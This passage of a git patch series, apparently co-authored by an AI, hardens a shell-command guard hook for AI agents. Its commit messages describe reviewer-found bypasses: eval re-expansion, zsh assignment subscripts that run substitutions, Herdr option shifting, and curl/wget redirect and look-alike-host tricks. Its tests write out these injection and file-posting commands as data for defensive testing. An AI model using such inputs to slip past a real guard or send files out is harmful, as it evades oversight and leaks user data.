f'"$HOME[idx]"/__missing__/{plain}'), + ("an expansion in a leading assignment", f'Z="$HOME[idx]" {plain}'), + ("an expansion in a redirect target", f'{plain} > "$HOME[idx]"/out'), + ("an expansion in a compound redirect", f'{{ {plain}; }} > "$HOME[idx]"/out'), + ("a backtick anywhere", f"{plain}; echo `date`"), + ("a glob character anywhere", f"{plain} > out?"), + ) + ), + pytest.param( + "gh api -H \"Accept: x\" 'repos/o/r/contents/a.nix?ref=v1'", + [], + id="a question mark beside an allowed header", + ), pytest.param("herdr worktree open --cwd ~/repo --branch x", [], id="a tilde in a new Herdr form"), pytest.param('herdr worktree list --cwd "$(pwd)"', [], id="a substitution in a new Herdr form"), pytest.param("herdr pane split --pane w1:p2 --cwd $W --no-focus", [], id="unquoted words in Herdr panes"), From 690bc0190820204d74c7306383c0a6600c845819 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 20:02:15 +0900 Subject: [PATCH 20/25] fix(agents): skip single-quoted text in the literal_words check Neither bash nor zsh expands anything inside single quotes, so the whole-command check for the literal_words rules now ignores characters there: gh api -H 'Accept: ...' 'repos/o/r/contents/README.md?ref=v1' and a single-quoted jq filter pass again. The single-quoted strings are located by the parser, so an adjacent, escaped, or unterminated quote cannot hide an expansion; dollar-quoted $'...' strings, double-quoted text, and unquoted text are still checked, and a parser failure keeps main's rules. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 20 ++++++++--- agents/hooks/lib/shell_syntax.py | 20 +++++++++++ tests/agents/hooks/test_allowed_command.py | 41 ++++++++++++++++++++-- 3 files changed, 75 insertions(+), 6 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 4fb0b75..c60ac3c 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -31,8 +31,9 @@ "or use gh api / nix store prefetch-file for exact values and files." ) # Settings that can send a request to a local server somewhere else: a proxy, or another configuration file. -# Characters through which any shell may expand or run something; a command holding one anywhere, -# in the program name, an assignment, or a redirect included, gets no literal_words rule. +# Characters through which any shell may expand or run something; a command holding one anywhere +# outside single quotes, in the program name, an assignment, or a redirect included, gets no +# literal_words rule. EXPANDING_TEXT = re.compile(r"[$`~*?\[\]{}]|\\\n") REQUEST_SETTINGS = re.compile(r"proxy|curlrc|wgetrc|curl_home|(^|[^a-z0-9_])(home|xdg_config_home)=", re.IGNORECASE) @@ -159,7 +160,8 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: """The first objection any segment raises, then whether the command's settings could redirect a request. - Rules marked literal_words apply only when the whole command text expands nothing anywhere. + Rules marked literal_words apply only when the whole command text, outside single quotes, holds + nothing a shell expands. """ command = payload.get("tool_input", {}).get("command") or "" try: @@ -167,7 +169,7 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: except shell_syntax.UnsupportedSyntax as error: preview = shell_syntax.command_preview(command) return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") - if EXPANDING_TEXT.search(command): + if expands_outside_single_quotes(command): policy = Policy(policy.prefixes, command_policy.literal_rules(policy.rules, literal=False)) verdicts = (objection(kind, item, policy) for item in commands) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) @@ -176,6 +178,16 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: return verdict +def expands_outside_single_quotes(command: str) -> bool: + """Whether the command holds an expanding character outside single quotes; when unsure, it does.""" + if not EXPANDING_TEXT.search(command): + return False + try: + return bool(EXPANDING_TEXT.search(shell_syntax.text_outside_single_quotes(command))) + except shell_syntax.UnsupportedSyntax: + return True + + def record(verdict: Verdict, attempt: Attempt) -> None: if verdict.decision == "allow": return diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 58ee3ac..df04554 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -207,6 +207,26 @@ def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: ) +def text_outside_single_quotes(source: str) -> str: + """The source with every single-quoted string removed, located by the parser rather than by a scan. + + Neither bash nor zsh expands anything inside single quotes. A dollar-quoted $'...' string stays, + since the shell decodes escapes in it. + """ + data = source.encode() + spans = sorted( + (node["Pos"]["Offset"], node["End"]["Offset"]) + for node in nodes(syntax_tree(source)) + if node.get("Type") == "SglQuoted" and not node.get("Dollar") + ) + kept, start = [], 0 + for begin, end in spans: + kept.append(data[start:begin]) + start = max(start, end) + kept.append(data[start:]) + return b"".join(kept).decode() + + def heredoc_script(owner: dict) -> str: """Return the static script a shell reads from a heredoc, refusing one the shell computes.""" bodies = [redirect["Hdoc"] for redirect in owner.get("Redirs", []) if redirect.get("Hdoc")] diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 04fa70a..1a5bc07 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -85,6 +85,22 @@ "gh api -H 'Accept: application/vnd.github.raw' repos/o/r/contents/README.md", id="a plain header read" ), pytest.param("herdr agent read lane-name", id="a plain Herdr agent read"), + pytest.param( + "gh api -H 'Accept: application/vnd.github.raw' 'repos/o/r/contents/README.md?ref=v1'", + id="a header read with a single-quoted query", + ), + pytest.param( + "gh api -H \"Accept: x\" 'repos/o/r/contents/a.nix?ref=v1'", + id="a double-quoted header with a single-quoted query", + ), + pytest.param( + "gh api -H 'Accept: x' repos/o/r/pulls --jq '.[0].number'", + id="a header read with a single-quoted jq filter", + ), + pytest.param( + "herdr worktree open --cwd /r --label 'a*b {x} $y ~z'", + id="a Herdr form with special characters in single quotes", + ), pytest.param("herdr agent wait lane-a --until done --until blocked --timeout 600000", id="Herdr agent waits"), pytest.param("herdr worktree list --cwd /repo", id="Herdr worktree lists"), pytest.param("herdr agent read --help", id="Herdr help for the lane commands"), @@ -221,9 +237,30 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi ) ), pytest.param( - "gh api -H \"Accept: x\" 'repos/o/r/contents/a.nix?ref=v1'", + "gh api -H 'Accept: x' repos/o/r/contents/README.md?ref=v1", [], - id="a question mark beside an allowed header", + id="an unquoted question mark beside a header", + ), + pytest.param( + "gh api -H 'Accept: x' \"repos/o/r/contents/README.md?ref=v1\"", + [], + id="a double-quoted question mark beside a header", + ), + pytest.param( + "gh api -H 'Accept: x' repos/o/r/pulls --jq \".[0].number\"", + [], + id="a double-quoted jq filter beside a header", + ), + pytest.param( + "gh api -H 'Accept: x' 'repos/o/r'\"$HOME[idx]\"", [], id="an expansion adjacent to a single quote" + ), + pytest.param("gh api -H 'Accept: x' 'a'$HOME'b'", [], id="an expansion between single quotes"), + pytest.param("gh api -H 'Accept: x' \\'repos/$HOME\\'", [], id="escaped quotes around an expansion"), + pytest.param("gh api -H 'Accept: x' 'repos/o/r", [], id="an unterminated single quote"), + pytest.param("gh api -H 'Accept: x' $'repos/o/r?x'", [], id="ANSI-C quoting"), + pytest.param("gh api -H 'Accept: x' \"it's $HOME\"", [], id="a single quote inside double quotes"), + pytest.param( + 'herdr worktree open --cwd /r --label "a*b"', [], id="a Herdr form with a double-quoted glob character" ), pytest.param("herdr worktree open --cwd ~/repo --branch x", [], id="a tilde in a new Herdr form"), pytest.param('herdr worktree list --cwd "$(pwd)"', [], id="a substitution in a new Herdr form"), From 2f3ba455150c6bbe6670bddb2118ca9eeb1f1fb9 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 20:14:02 +0900 Subject: [PATCH 21/25] fix(agents): apply literal_words rules only to one plain gh or herdr call A sixteenth adversarial review of #242 found that eval re-expands a single-quoted script, so eval 'gh api -H "Accept: x" "$a[@]"' slipped past the scan that skips single quotes, and Herdr's --trust-repository could be injected the same way. The literal_words rules now apply only when the whole command parses to exactly one simple command whose program is gh or herdr: no list, pipe, background, negation, subshell, block, or function, and no eval, source, exec, command, env, xargs, shell -c, or other wrapper. Any other command is judged by main's rules alone; the single-quote exemption still applies within that one command. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 23 +++++++++----- agents/hooks/lib/shell_syntax.py | 21 ++++++++++--- tests/agents/hooks/test_allowed_command.py | 36 +++++++++++++++++++++- 3 files changed, 66 insertions(+), 14 deletions(-) diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index c60ac3c..9b171bb 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -31,6 +31,8 @@ "or use gh api / nix store prefetch-file for exact values and files." ) # Settings that can send a request to a local server somewhere else: a proxy, or another configuration file. +# The only programs the literal_words rules govern; through any wrapper they get main's rules. +LITERAL_PROGRAMS = frozenset({"gh", "herdr"}) # Characters through which any shell may expand or run something; a command holding one anywhere # outside single quotes, in the program name, an assignment, or a redirect included, gets no # literal_words rule. @@ -160,8 +162,8 @@ def decide(kind: str, payload: dict, directory: Path = ROOT) -> Verdict: def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: """The first objection any segment raises, then whether the command's settings could redirect a request. - Rules marked literal_words apply only when the whole command text, outside single quotes, holds - nothing a shell expands. + Rules marked literal_words apply only when the whole command is one plain gh or herdr call whose + text, outside single quotes, holds nothing a shell expands. """ command = payload.get("tool_input", {}).get("command") or "" try: @@ -169,7 +171,7 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: except shell_syntax.UnsupportedSyntax as error: preview = shell_syntax.command_preview(command) return hook_decision.ask(f"Needs review: {error}.\n\nCommand: {preview}", "syntax") - if expands_outside_single_quotes(command): + if not allows_literal_rules(command, commands): policy = Policy(policy.prefixes, command_policy.literal_rules(policy.rules, literal=False)) verdicts = (objection(kind, item, policy) for item in commands) verdict = next((item for item in verdicts if item.decision != "allow"), hook_decision.ALLOW) @@ -178,14 +180,19 @@ def command_verdict(kind: str, payload: dict, policy: Policy) -> Verdict: return verdict -def expands_outside_single_quotes(command: str) -> bool: - """Whether the command holds an expanding character outside single quotes; when unsure, it does.""" - if not EXPANDING_TEXT.search(command): +def allows_literal_rules(command: str, commands: tuple[shell_syntax.Command, ...]) -> bool: + """Whether the command is exactly one plain gh or herdr call with nothing expanding outside single + quotes: no list, pipe, compound, wrapper, eval, or nested script; when unsure, it is not.""" + if len(commands) != 1 or Path(commands[0].arguments[0]).name not in LITERAL_PROGRAMS: return False try: - return bool(EXPANDING_TEXT.search(shell_syntax.text_outside_single_quotes(command))) + if not shell_syntax.is_one_simple_command(command): + return False + return not EXPANDING_TEXT.search(command) or not EXPANDING_TEXT.search( + shell_syntax.text_outside_single_quotes(command) + ) except shell_syntax.UnsupportedSyntax: - return True + return False def record(verdict: Verdict, attempt: Attempt) -> None: diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index df04554..4d2ef13 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -207,12 +207,23 @@ def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: ) -def text_outside_single_quotes(source: str) -> str: - """The source with every single-quoted string removed, located by the parser rather than by a scan. +def is_one_simple_command(source: str) -> bool: + """Whether the source is a single plain call: no list, pipe, background, negation, or compound.""" + statements = syntax_tree(source).get("Stmts", []) + if len(statements) != 1: + return False + statement = statements[0] + flags = ("Background", "Coprocess", "Negated", "Disown") + command = statement.get("Cmd") + return ( + not any(statement.get(flag) for flag in flags) + and isinstance(command, dict) + and command.get("Type") == "CallExpr" + ) - Neither bash nor zsh expands anything inside single quotes. A dollar-quoted $'...' string stays, - since the shell decodes escapes in it. - """ + +def text_outside_single_quotes(source: str) -> str: + """The source without its single-quoted strings, which no shell expands; $'...' stays, as it decodes escapes.""" data = source.encode() spans = sorted( (node["Pos"]["Offset"], node["End"]["Offset"]) diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 1a5bc07..206fbea 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -73,7 +73,7 @@ pytest.param("curl -s -H 'Accept: x' -o out.json http://127.0.0.1:8080/api", id="local server downloads"), pytest.param("curl -X POST -d '{\"a\": 1}' http://127.0.0.1:8080/api", id="local server writes"), pytest.param( - 'gh api -H "Accept: application/vnd.github.raw" repos/o/r/contents/README.md | sed -n 1,20p', + 'gh api -H "Accept: application/vnd.github.raw" repos/o/r/contents/README.md', id="GitHub reads with a header before the endpoint", ), pytest.param( @@ -234,6 +234,40 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi ("an expansion in a compound redirect", f'{{ {plain}; }} > "$HOME[idx]"/out'), ("a backtick anywhere", f"{plain}; echo `date`"), ("a glob character anywhere", f"{plain} > out?"), + ("eval of a single-quoted script", "eval '" + plain.replace("'", '"') + "'"), + ( + "eval re-expanding a zsh array", + "printf '%s\\n' 'x' | read -rA a; eval '" + plain.replace("'", '"') + ' "$a[@]"\'', + ), + ) + ), + *( + pytest.param(command, [], id=f"an allowed header read {name}") + for name, command in ( + ("after a semicolon", "true; gh api -H 'Accept: x' repos/o/r"), + ("before a semicolon", "gh api -H 'Accept: x' repos/o/r; true"), + ("after &&", "true && gh api -H 'Accept: x' repos/o/r"), + ("after ||", "false || gh api -H 'Accept: x' repos/o/r"), + ("in a pipeline", "gh api -H 'Accept: x' repos/o/r | cat"), + ("in the background", "gh api -H 'Accept: x' repos/o/r &"), + ("negated", "! gh api -H 'Accept: x' repos/o/r"), + ("in a subshell", "( gh api -H 'Accept: x' repos/o/r )"), + ("in a block", "{ gh api -H 'Accept: x' repos/o/r; }"), + ("in a function", "f(){ gh api -H 'Accept: x' repos/o/r; }; f"), + ("through eval", "eval 'gh api -H \"Accept: x\" repos/o/r'"), + ("through source", "source ./env.sh && gh api -H 'Accept: x' repos/o/r"), + ("through a dot", ". ./env.sh; gh api -H 'Accept: x' repos/o/r"), + ("through exec", "exec gh api -H 'Accept: x' repos/o/r"), + ("through command", "command gh api -H 'Accept: x' repos/o/r"), + ("through env", "env gh api -H 'Accept: x' repos/o/r"), + ("through xargs", "echo x | xargs gh api -H 'Accept: x' repos/o/r"), + ("through sh -c", "sh -c 'gh api -H \"Accept: x\" repos/o/r'"), + ("through bash -c", "bash -c 'gh api -H \"Accept: x\" repos/o/r'"), + ("through zsh -c", "zsh -c 'gh api -H \"Accept: x\" repos/o/r'"), + ("through nohup", "nohup gh api -H 'Accept: x' repos/o/r"), + ("through time", "time gh api -H 'Accept: x' repos/o/r"), + ("through timeout", "timeout 5 gh api -H 'Accept: x' repos/o/r"), + ("through nice", "nice gh api -H 'Accept: x' repos/o/r"), ) ), pytest.param( From f819d449677f1ddf66ea72b591f76004faed9a00 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 20:23:47 +0900 Subject: [PATCH 22/25] fix(agents): keep assignments and redirects out of the literal_words call A seventeenth adversarial review of #242 found that zsh re-evaluates a subscript when it assigns to an integer variable, so a single-quoted value still runs code: RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' gh api -H 'Accept: x' repos/o/r ran the substitution. The same worked for Herdr and inside a process substitution in a redirect. The one-plain-call check now also requires no leading assignment and no redirect, so such commands are judged by main's rules alone. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/lib/shell_syntax.py | 6 ++++-- tests/agents/hooks/test_allowed_command.py | 7 +++++++ 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/agents/hooks/lib/shell_syntax.py b/agents/hooks/lib/shell_syntax.py index 4d2ef13..551ac90 100644 --- a/agents/hooks/lib/shell_syntax.py +++ b/agents/hooks/lib/shell_syntax.py @@ -208,17 +208,19 @@ def statement_writes(statement: dict, data: bytes) -> tuple[str, ...]: def is_one_simple_command(source: str) -> bool: - """Whether the source is a single plain call: no list, pipe, background, negation, or compound.""" + """Whether the source is a single plain call: no list, pipe, background, negation, compound, + leading assignment, or redirect, since zsh can run code while assigning to an integer variable.""" statements = syntax_tree(source).get("Stmts", []) if len(statements) != 1: return False statement = statements[0] - flags = ("Background", "Coprocess", "Negated", "Disown") + flags = ("Background", "Coprocess", "Negated", "Disown", "Redirs") command = statement.get("Cmd") return ( not any(statement.get(flag) for flag in flags) and isinstance(command, dict) and command.get("Type") == "CallExpr" + and not command.get("Assigns") ) diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index 206fbea..c3bc0f3 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -234,6 +234,13 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi ("an expansion in a compound redirect", f'{{ {plain}; }} > "$HOME[idx]"/out'), ("a backtick anywhere", f"{plain}; echo `date`"), ("a glob character anywhere", f"{plain} > out?"), + ("a zsh integer assignment prefix", f"RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' {plain}"), + ("a plain assignment prefix", f"X=1 {plain}"), + ("a redirect to a file", f"{plain} > out.txt"), + ( + "a redirect into a process substitution", + f"{plain} > >(RANDOM='pipestatus[1$(printf REVIEW_MARKER >&2)]' cat)", + ), ("eval of a single-quoted script", "eval '" + plain.replace("'", '"') + "'"), ( "eval re-expanding a zsh array", From 4ddab4b6ad539bfc569d87a5fe11e94afb8aca27 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 20:41:45 +0900 Subject: [PATCH 23/25] fix(agents): close Herdr's global options and local requests that leave the machine An eighteenth adversarial review of #242 found two more ways out: - Herdr strips global options such as --session before it parses a subcommand, so herdr worktree open --label --session=default --cwd --trust-repository --path /repo/worktree passed while --cwd lost its value and --trust-repository became a flag. The watching commands (agent read and wait, worktree list and open) are now also judged on their decoded words against a closed grammar of documented options, each value a plain word, and any Herdr command holding --session, --machine, or --remote asks wherever the option sits. - The local-server curl and wget rule matched the host as a prefix and let curl follow redirects, so https://localhost.example.com/ and curl -L -d @README.md http://localhost:3000/ passed. The host must now be exactly localhost, 127.0.0.1, or [::1] with an optional port, curl option clusters exclude -L, -K, and -x, and wget clusters hold only options without values; the -L and -sSL ask tests come back. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 17 ++++- agents/hooks/lib/herdr_grammar.py | 85 ++++++++++++++++++++++ agents/hooks/rules/allowed_commands.json | 6 +- pyproject.toml | 1 + tests/agents/hooks/test_allowed_command.py | 40 ++++++++++ 5 files changed, 143 insertions(+), 6 deletions(-) create mode 100644 agents/hooks/lib/herdr_grammar.py diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 9b171bb..2b307f1 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py @@ -20,6 +20,7 @@ import audit_log import command_policy +import herdr_grammar import hook_decision from hook_decision import Verdict import shell_syntax @@ -94,6 +95,13 @@ def objection(kind: str, item: shell_syntax.Command, policy: Policy) -> Verdict: return governed_objection(candidate, policy, preview) +def is_listed(candidate: shell_syntax.Command, rules: list[dict]) -> bool: + """Whether a rule lists the form; Herdr's watching commands must also keep to their documented options.""" + if not command_policy.regex_reason(candidate.static_words_text, rules): + return False + return not herdr_grammar.is_watch_command(candidate.arguments) or herdr_grammar.is_documented(candidate.arguments) + + def forbidden_objection(item: shell_syntax.Command, candidate: shell_syntax.Command, policy: Policy) -> Verdict: """Deny only: a literal deny prefix or pattern wins even beside a run-time argument.""" rules = policy.rules @@ -119,11 +127,14 @@ def governed_objection(candidate: shell_syntax.Command, policy: Policy, preview: prefixes, rules = policy.prefixes, policy.rules if candidate.program_is_dynamic or candidate.arguments[0] not in command_policy.governed_programs(rules): return hook_decision.ALLOW + if candidate.arguments[0] == "herdr" and herdr_grammar.has_global_option(candidate.arguments): + return hook_decision.ask( + f"Needs review: a Herdr global option such as --session shifts the words after it.\n\nCommand: {preview}", + "herdr", + ) governed = command_policy.prefix_rule(candidate.arguments, prefixes, "allow") if governed is None or ( - not candidate.appends_input - and not candidate.hides_options - and command_policy.regex_reason(candidate.static_words_text, rules) + not candidate.appends_input and not candidate.hides_options and is_listed(candidate, rules) ): return hook_decision.ALLOW prefix = " ".join(governed["prefix"]) diff --git a/agents/hooks/lib/herdr_grammar.py b/agents/hooks/lib/herdr_grammar.py new file mode 100644 index 0000000..03e8ac4 --- /dev/null +++ b/agents/hooks/lib/herdr_grammar.py @@ -0,0 +1,85 @@ +"""Judge Herdr's watching commands on their decoded words against the options each one documents. + +Herdr strips global options such as --session before it parses a subcommand, so one anywhere in the +words can shift every value after it; a closed grammar refuses such words instead of reading past them. +""" + +from collections.abc import Callable, Iterator +from dataclasses import dataclass + + +GLOBAL_OPTIONS = ("--session", "--machine", "--remote") +ValueRule = Callable[[str], bool] + + +def any_word(value: str) -> bool: + return not value.startswith("-") + + +def number(value: str) -> bool: + return value.isdigit() + + +def one_of(*choices: str) -> ValueRule: + return frozenset(choices).__contains__ + + +@dataclass(frozen=True, slots=True) +class Form: + """One subcommand's documented words: how many targets, valued options, and plain flags.""" + + targets: int + valued: dict[str, ValueRule] + flags: frozenset[str] = frozenset() + + +FORMS = { + ("agent", "read"): Form( + 1, + { + "--source": one_of("visible", "recent", "recent-unwrapped", "detection"), + "--lines": number, + "--format": one_of("text", "ansi"), + }, + frozenset({"--ansi"}), + ), + ("agent", "wait"): Form(1, {"--until": any_word, "--timeout": number}), + ("worktree", "list"): Form(0, {"--workspace": any_word, "--cwd": any_word}), + ("worktree", "open"): Form( + 0, + dict.fromkeys(("--workspace", "--cwd", "--path", "--branch", "--label"), any_word), + frozenset({"--focus", "--no-focus"}), + ), +} + + +def is_watch_command(arguments: tuple[str, ...]) -> bool: + return arguments[0] == "herdr" and tuple(arguments[1:3]) in FORMS + + +def has_global_option(arguments: tuple[str, ...]) -> bool: + return any(word == option or word.startswith(f"{option}=") for word in arguments for option in GLOBAL_OPTIONS) + + +def is_documented(arguments: tuple[str, ...]) -> bool: + """Whether a watching command uses only its documented options, each value a plain word.""" + rest = arguments[3:] + if rest == ("--help",): + return True + form = FORMS[(arguments[1], arguments[2])] + targets = 0 + words = iter(rest) + for word in words: + if not word.startswith("-"): + targets += 1 + elif not accepts(word, words, form): + return False + return targets == form.targets + + +def accepts(option: str, words: Iterator[str], form: Form) -> bool: + if option in form.flags: + return True + rule = form.valued.get(option) + value = next(words, None) + return rule is not None and value is not None and any_word(value) and rule(value) diff --git a/agents/hooks/rules/allowed_commands.json b/agents/hooks/rules/allowed_commands.json index 4b7ff8f..2681ba5 100644 --- a/agents/hooks/rules/allowed_commands.json +++ b/agents/hooks/rules/allowed_commands.json @@ -63,10 +63,10 @@ "wget" ], "patterns": [ - "^curl( -[A-Za-z]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$", - "^wget( -[A-Za-z]+)*( -O [A-Za-z0-9._/-]+)? https?://(localhost|127\\.0\\.0\\.1)(:[0-9]+)?[A-Za-z0-9._/?&=%-]*$" + "^curl( -[A-JM-Za-wyz]+)*( -X (GET|POST|PUT|PATCH|DELETE))?( -H '[^']*')*( -d '[^']*')?( -o [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$", + "^wget( -[qvdcNSnHk]+)*( -O [A-Za-z0-9._/-]+)? (https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?|'https?://(localhost|127\\.0\\.0\\.1|\\[::1\\])(:[0-9]+)?(/[A-Za-z0-9._/?&=%-]*)?')$" ], - "justification": "Allow requests to local servers; remote fetches leave the machine." + "justification": "Allow requests to local servers named exactly localhost, 127.0.0.1, or [::1]; options that follow redirects, read a config file, set a proxy, or read URLs from a file ask, since they can reach other hosts." }, { "programs": [ diff --git a/pyproject.toml b/pyproject.toml index 3c0061a..ca5f6bc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -26,6 +26,7 @@ known_first_party = [ "guard_file", "guard_git", "guard_suppression", + "herdr_grammar", "herdr_ownership", "hook_decision", "hook_dispatch", diff --git a/tests/agents/hooks/test_allowed_command.py b/tests/agents/hooks/test_allowed_command.py index c3bc0f3..c1ad300 100644 --- a/tests/agents/hooks/test_allowed_command.py +++ b/tests/agents/hooks/test_allowed_command.py @@ -85,6 +85,10 @@ "gh api -H 'Accept: application/vnd.github.raw' repos/o/r/contents/README.md", id="a plain header read" ), pytest.param("herdr agent read lane-name", id="a plain Herdr agent read"), + pytest.param( + "herdr worktree open --cwd /repo --path /repo/worktree --no-focus", id="a Herdr worktree open by path" + ), + pytest.param("curl -s 'http://[::1]:8080/health'", id="local server requests over IPv6"), pytest.param( "gh api -H 'Accept: application/vnd.github.raw' 'repos/o/r/contents/README.md?ref=v1'", id="a header read with a single-quoted query", @@ -203,6 +207,28 @@ def test_commands_whose_effects_the_checks_can_see_pass(capsys: pytest.CaptureFi pytest.param("gh api repos/o/r/issues/1 -\\\nXDELETE", [], id="a line continuation inside an option"), pytest.param("herdr worktree open --cwd /r --trust\\\n-repository", [], id="a line continuation in Herdr"), pytest.param("herdr worktree open --cwd $W", [], id="unquoted words in Herdr options"), + *( + pytest.param(command, [], id=name) + for name, command in ( + ( + "a Herdr session option that shifts values", + "herdr worktree open --label --session=default --cwd --trust-repository --path /repo/worktree", + ), + ( + "a Herdr session option with a separate value", + "herdr worktree open --label --session default --cwd --trust-repository --path /repo/worktree", + ), + ("a Herdr session option before the subcommand", "herdr --session default worktree open --path /r/w"), + ("a Herdr session option after the values", "herdr worktree open --cwd /r --path /r/w --session=x"), + ("a Herdr machine option", "herdr worktree open --label --machine m --path /r/w"), + ("a Herdr remote option", "herdr agent read lane-a --remote host"), + ("a Herdr value slot holding an option", "herdr agent read lane-a --lines --ansi"), + ("an attached Herdr option value", "herdr worktree open --cwd=/r --path /r/w"), + ("an unknown Herdr option", "herdr agent read lane-a --verbose"), + ("a second Herdr target", "herdr agent wait lane-a lane-b"), + ("Herdr repository trust anywhere", "herdr worktree open --path /r/w --label x --trust-repository"), + ) + ), pytest.param( "printf '%s\\n' '--cwd /r --trust-repository' | read -rA a; herdr worktree open \"$a[@]\"", [], @@ -435,6 +461,20 @@ def test_commit_messages_inline_through_a_quoted_heredoc_pass() -> None: "wget -O --max-redirect=0 http://localhost/", id="a redirect limit taken as another option's value" ), pytest.param("wget --max-redirect=0 --max-redirect=5 http://localhost/", id="an overridden redirect limit"), + pytest.param("curl -L http://localhost:3000/", id="local requests that follow redirects"), + pytest.param("curl -sSL http://localhost:3000/", id="redirects in a flag cluster"), + pytest.param("curl -L -d '@README.md' http://localhost:3000/", id="a local post that may follow a redirect"), + pytest.param("curl https://localhost.example.com/", id="a host that only starts with localhost"), + pytest.param("curl http://127.0.0.1.evil.example/", id="a host that only starts with the loopback address"), + pytest.param("curl http://localhost:3000.evil.example/", id="a host after a port-like suffix"), + pytest.param("wget https://localhost.example.com/", id="wget to a host that only starts with localhost"), + pytest.param("wget --post-file README.md http://localhost:3000/", id="wget posting a file to this machine"), + pytest.param("curl -Kcfg http://localhost:3000/", id="curl options from an attached config file"), + pytest.param("curl --config cfg http://localhost:3000/", id="curl options from a long config option"), + pytest.param("curl -xevil http://localhost:3000/", id="an attached curl proxy"), + pytest.param("wget --config cfg http://localhost:3000/", id="wget options from a config file"), + pytest.param("wget -e use_proxy=on http://localhost:3000/", id="wget commands toward this machine"), + pytest.param("wget -iurls http://localhost:3000/", id="wget reading URLs from a file"), pytest.param("curl --location http://127.0.0.1:8080/", id="the long redirect option"), pytest.param("curl --location-trusted http://localhost/", id="trusted redirects"), pytest.param("wget -q -O- http://localhost:3000/", id="wget, which follows redirects by default"), From 734a0fed7567ae138ff648803f4328168287caa7 Mon Sep 17 00:00:00 2001 From: furedea <132188853+furedea@users.noreply.github.com> Date: Mon, 19 Oct 2026 20:57:45 +0900 Subject: [PATCH 24/25] fix(agents): ask for every wget and allow local curl only as one plain call A nineteenth adversarial review of #242 found two more holes in the local request allowance: - wget follows redirects by default, so wget -O - 'http://[::1]/' could be bounced to any host; the local wget pattern is gone and every wget command asks, except for its help and version - quoting split a proxy variable's name past the text scan, as in env http_pro''xy=... curl -X POST -d '@README.md' http://localhost:3000/; the local curl rule is now marked literal_words, so it applies only to one plain curl call with no assignment, redirect, wrapper, or list Filtering the literal_words rules no longer drops their programs from the governed set, so curl and wget stay governed when those rules do not apply. Words now drop a backslash-newline as the shell does, so a line continuation cannot hide an assignment from env. The request tests move to their own file to keep each test file under the length limit. Refs #236 Co-Authored-By: Claude Opus 5.5 --- agents/hooks/guard_command.py | 28 +++++-- agents/hooks/lib/shell_syntax.py | 6 +- agents/hooks/rules/allowed_commands.json | 5 +- tests/agents/hooks/test_allowed_command.py | 69 --------------- tests/agents/hooks/test_request_command.py | 98 ++++++++++++++++++++++ 5 files changed, 123 insertions(+), 83 deletions(-) create mode 100644 tests/agents/hooks/test_request_command.py diff --git a/agents/hooks/guard_command.py b/agents/hooks/guard_command.py index 2b307f1..42c73fe 100755 --- a/agents/hooks/guard_command.py +++ b/agents/hooks/guard_command.py 